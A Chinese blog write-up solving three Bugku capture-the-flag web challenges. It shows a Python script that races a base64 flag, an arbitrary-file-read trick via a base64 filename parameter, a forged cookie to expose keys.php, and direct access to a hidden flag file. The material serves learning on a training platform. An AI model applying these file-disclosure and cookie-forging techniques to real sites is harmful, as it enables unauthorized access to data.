bugku 22~ 24write up(web)

一、第22题(速度要快)

首先我们查看源码

</br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->

发现有post需要提交,参数为marign

那么我们开始抓包,
在这里插入图片描述
然后发现是base64编码的flag,解码后,输入flag,发现flag错误。
额,我们再次抓包,发现flag又变化了。怪得题目说我觉得你得快点。
我有尝试了几次发现还是不行,看来只能借助python脚本了

import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
s = requests.session()
flag = s.get(url).headers['flag']  # flag在响应头里

 #为了下面使用split不报错,ba64decode操作的对象是byte类型的字符串,而split函数要用str类型
flag = base64.b64decode(flag).decode()

flag = base64.b64decode(flag.split(":")[1]).decode()  # 获取flag后的值
payload = {'margin': flag}
print(s.post(url, data = payload).text)  # post方法上传

python中str是经过编好码的字符串,如unicode,gb2312,ascii编码,可以表示不同语言中的字符,可以解码成byte
byte是字节,只能是ascii码0-255的字符,表示未经编码处理的原始字符串

split函数简单的介绍

str与byte的简单的转化方法:

flag=flag.decode()//byte转为str
flag=flag.encode()//str转为byte

二、第23题(cookie欺骗)

http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
打开题目发现,filename参数后面是一串base64编码,进行解码得keys.txt.
我们把index.php进行base64编码后放在filename参数的后面,进行输入

http://123.206.87.240:8002/web11/index.php?line=1&filename=aW5kZXgucGhw

改变line后面的数字即可一行一行的输出index.php的内容
这样子太慢了,我们写个python脚本来实现。

import requests
def getHTMLText(url):
    try:
        r = requests.get(url,timeout=30)
        r.raise_for_status()
        r .encoding = r.apparent_encoding
        return r.text
    except:
        return"产生异常"
if __name__=="__main__":
    a=30
    for i in range(a):
        url = "http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
        print(getHTMLText(url))

输出index.php的网页源码

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

 
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

这段代码的意思是flag在keys.php文件里,我们需要传入cookie:margin=margin才可以看到源码。
在这里插入图片描述
进行操作后发现是空白,我们查看源码发现了flag
在这里插入图片描述

三、第24题(never give up)

查看源码发现
在这里插入图片描述
那么我们访问http://123.206.87.240:8006/test/1p.html
发现是bugku的主页,被重定向了。
那么我们使用

view-source:http://123.206.87.240:8006/test/1p.htm

直接访问源码,发现源码中有一部分被url编码了,那么我们进行解码,发现是base64编码,再解码发现是url编码,那么我们再解码,终于得出了以下关键的部分

";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}


?>

看下这部分源码发现有很多要求才可以看到flag,那么尝试下直接访问

http://123.206.87.240:8006/test/f4l2a3g.txt

看到flag了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值